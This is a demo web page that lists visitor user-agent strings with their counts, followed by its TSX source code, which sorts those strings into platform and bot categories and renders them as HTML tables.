POLARIS/6.01 (BREW 3.1.5; U; en-us; LG; LX265; POLARIS/6.01/WAP) MMP/2.0 profile/MIDP-2.1 Configuration/CLDC-1.11
Mozilla/5.0 (OS/2; Warp 4.5; rv:10.0.12) Gecko/20130108 Firefox/10.0.12 SeaMonkey/2.7.21
Jigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.01
Mozilla/5.0 (OS/2; Warp 4.5; rv:31.0) Gecko/20100101 Firefox/31.0 SeaMonkey/2.281
Xenu Link Sleuth/1.3.81
EmailWolf 1.001
Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.01
Mozilla/2.02E (Win95; U)1
Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1 (KHTML, Like Gecko) Version/6.0.0.141 Mobile Safari/534.11
Opera/9.80 (X11; FreeBSD 8.1-RELEASE i386; Edition Next) Presto/2.12.388 Version/12.101
POLARIS/6.01(BREW 3.1.5;U;en-us;LG;LX265;POLARIS/6.01/WAP;)MMP/2.0 profile/MIDP-201 Configuration /CLDC-1.11
wii libnup/1.01
WebZIP/3.5 (http://www.spidersoft.com)1
Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.01
Java/1.6.0_131
Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.31
Peach/1.01 (Ubuntu 8.04 LTS; U; en)1
MOT-L7v/08.B7.5DR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.01
SonyEricssonK550i/R1JD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.11
SonyEricssonW660i/R6AD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.11
Mozilla/5.0 (OS/2; Warp 4.5; rv:24.0) Gecko/20100101 Firefox/24.01
Mozilla/5.0 (Unknown; UNIX BSD/SYSV system) AppleWebKit/538.1 (KHTML, like Gecko) QupZilla/1.7.0 Safari/538.11
Mozilla/5.0 (X11; CrOS aarch64 12239.67.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.102 Safari/537.361
Adobe Application Manager 2.01
Mozilla/5.0 (X11; NetBSD amd64; rv:30.0) Gecko/20100101 Firefox/30.01
Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.01
Mozilla/5.0 (compatible; GitFinder/1.0)1
HeartbeatMonitor/1.01
Scrapy/2.16.0 (+https://scrapy.org)1
Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.16823/1428; U; en) Presto/2.2.01
Gregarius/0.5.2 ( http://devlog.gregarius.net/docs/ua)1
Mozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.01
Mozilla/5.0 (compatible; pathscan/1.0)1
CCBot/2.0 (https://commoncrawl.org/faq/)1
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)1
Mozilla/5.0 (compatible; GoogleOther; +https://developers.google.com/search/)1
Source Code of user-agents.tsx
(import statements omitted for simplicity, click to expand)
import { getUserAgents } from '../../../db/store.js'
import SourceCode from '../components/source-code.js'
import Style from '../components/style.js'
import { o } from '../jsx/jsx.js'
function classifyUserAgents(
  rows: Array<{ user_agent: string; count: number }>,
) {
  let Android = 0
  let iPhone = 0
  let iPad = 0
  let MacOS = 0
  let ChromeOS = 0
  let Windows = 0
  let Linux = 0
  let Kindle = 0
  let curl = 0
  let Wget = 0
  let Links = 0
  let Lynx = 0
  let YahooBot = 0
  let BingBot = 0
  let GoogleBot = 0
  let DuckDuckGoBot = 0
  let TwitterBot = 0
  let TelegramBot = 0
  let WhatsAppBot = 0
  let FacebookBot = 0
  let YandexBot = 0
  let MixrankBot = 0
  let PetalBot = 0
  let QwantBot = 0
  let BLEXBot = 0
  let AhrefsBot = 0
  let DotBot = 0
  let NeevaBot = 0
  let CiscoAnyConnect = 0
  let Other = 0
  let PythonRequests = 0
  let CensysInspect = 0
  let InternetMeasurement = 0
  let MJ12Bot = 0
  let NetcraftSurveyAgent = 0
  let PaloBot = 0
  let DataForSeoBot = 0
  let LinkdexBot = 0
  let BarkrowlerBot = 0
  let SemrushBot = 0
  let Nmap = 0
  let others = new Map<string, number>()

  rows.forEach(row => {
    let ua: string = row.user_agent
    let count: number = row.count
    if (ua.startsWith('TelegramBot')) TelegramBot += count
    else if (ua.startsWith('WhatsApp')) WhatsAppBot += count
    else if (ua.startsWith('AnyConnect')) CiscoAnyConnect += count
    else if (ua.startsWith('python-requests')) PythonRequests += count
    else if (ua.includes('http://help.yahoo.com/help/us/ysearch/slurp'))
      YahooBot += count
    else if (ua.includes('https://neeva.com/neevabot')) NeevaBot += count
    else if (ua.includes('www.bing.com/bingbot')) BingBot += count
    else if (ua.includes('paloaltonetworks.com')) PaloBot += count
    else if (ua.includes('https://nmap.org/book/nse.html')) Nmap += count
    else if (ua.includes('info@netcraft.com')) NetcraftSurveyAgent += count
    else if (ua.includes('https://webmaster.petalsearch.com/site/petalbot'))
      PetalBot += count
    else if (ua.includes('https://www.qwant.com/')) QwantBot += count
    else if (ua.includes('http://mj12bot.com/')) MJ12Bot += count
    else if (ua.includes('https://babbar.tech/crawler')) BarkrowlerBot += count
    else if (ua.includes('http://webmeup-crawler.com/')) BLEXBot += count
    else if (ua.includes('http://www.linkdex.com/bots/')) LinkdexBot += count
    else if (ua.includes('https://opensiteexplorer.org/dotbot')) DotBot += count
    else if (ua.includes('http://ahrefs.com/robot/')) AhrefsBot += count
    else if (ua.includes('http://www.google.com/bot.html')) GoogleBot += count
    else if (ua.includes('Googlebot-Image')) GoogleBot += count
    else if (ua.includes('http://duckduckgo.com')) DuckDuckGoBot += count
    else if (ua.includes('http://yandex.com/bots')) YandexBot += count
    else if (ua.includes('https://about.censys.io')) CensysInspect += count
    else if (ua.includes('crawler@mixrank.com')) MixrankBot += count
    else if (ua.includes('facebookexternalhit')) FacebookBot += count
    else if (ua.includes('http://www.semrush.com/bot.html')) SemrushBot += count
    else if (ua.includes('https://internet-measurement.com'))
      InternetMeasurement += count
    else if (ua.includes('https://dataforseo.com/dataforseo-bot'))
      DataForSeoBot += count
    else if (ua.includes('iPhone')) iPhone += count
    else if (ua.includes('iPad')) iPad += count
    else if (ua.includes('Macintosh')) MacOS += count
    else if (ua.includes('KFAPWI')) Kindle += count
    else if (ua.includes('curl')) curl += count
    else if (ua.includes('Wget')) Wget += count
    else if (ua.includes('Lynx')) Lynx += count
    else if (ua.includes('Links')) Links += count
    else if (ua.includes('Android') || ua.includes('Nokia')) Android += count
    else if (ua.includes('X11; CrOS x86_64')) ChromeOS += count
    else if (ua.includes('Windows')) Windows += count
    else if (ua.includes('Linux')) Linux += count
    else {
      Other += count
      others.set(ua, (others.get(ua) || 0) + 1)
    }
  })

  return {
    platforms: {
      Android,
      ChromeOS,
      iPhone,
      iPad,
      MacOS,
      Windows,
      Linux,
      Kindle,
      curl,
      Wget,
      Links,
      Lynx,
      Other,
    },
    bots: {
      BingBot,
      GoogleBot,
      YahooBot,
      DuckDuckGoBot,
      TwitterBot,
      FacebookBot,
      TelegramBot,
      WhatsAppBot,
      QwantBot,
      BLEXBot,
      PetalBot,
      NeevaBot,
      InternetMeasurement,
      MJ12Bot,
      NetcraftSurveyAgent,
      DataForSeoBot,
      LinkdexBot,
      BarkrowlerBot,
      SemrushBot,
      YandexBot,
      CiscoAnyConnect,
      AhrefsBot,
      DotBot,
      PythonRequests,
      CensysInspect,
      MixrankBot,
      PaloBot,
      Nmap,
    },
    others,
  }
}

function mapRows(counts: Record<string, number> | Map<string, number>) {
  return (
    counts instanceof Map
      ? Array.from(counts.entries())
      : Object.entries(counts)
  )
    .filter(entry => entry[1] > 0)
    .sort((a, b) => b[1] - a[1])
    .map(([ua, count]) => (
      <tr>
        <td>{ua}</td>
        <td>{count}</td>
      </tr>
    ))
}

function Tables() {
  let rows = getUserAgents()
  let { others, bots, platforms } = classifyUserAgents(rows)

  let Bots = Object.values(bots).reduce((acc, c) => acc + c)
  Object.assign(platforms, { Bots })

  let platformTable = (
    <table>
      <thead>
        <tr>
          <th>User Agent</th>
          <th>Count</th>
        </tr>
      </thead>
      <tbody>{[mapRows(platforms)]}</tbody>
    </table>
  )

  let botTable = (
    <table>
      <thead>
        <tr>
          <th>Bot Agent</th>
          <th>Count</th>
        </tr>
      </thead>
      <tbody>{[mapRows(bots)]}</tbody>
    </table>
  )

  if (others.size === 0) {
    return (
      <>
        {platformTable}
        {botTable}
      </>
    )
  }
  let otherTable = (
    <table>
      <thead>
        <th>Other User Agents</th>
        <th>Count</th>
      </thead>
      <tbody>{[mapRows(others)]}</tbody>
    </table>
  )
  return (
    <>
      {platformTable}
      {botTable}
      {otherTable}
    </>
  )
}

let UserAgents = (
  <div id="user-agents">
    <h2>User Agents of Visitors</h2>
    {Style(/* css */ `
#user-agents table {
  border-collapse: collapse;
  margin: 1rem;
  display: inline;
}
#user-agents th,
#user-agents td {
  border: 1px solid var(--text-color, black);
  padding: 0.25rem 0.5rem;
  max-width: calc(90vw - 8rem);
  word-break: break-word;
}
`)}
    <p>This page demonstrates showing query result from database.</p>
    <p>
      Below list of user agents are collected from the visitor's HTTP header.
    </p>
    <Tables />
    <SourceCode page="user-agents.tsx" />
  </div>
)

export default UserAgents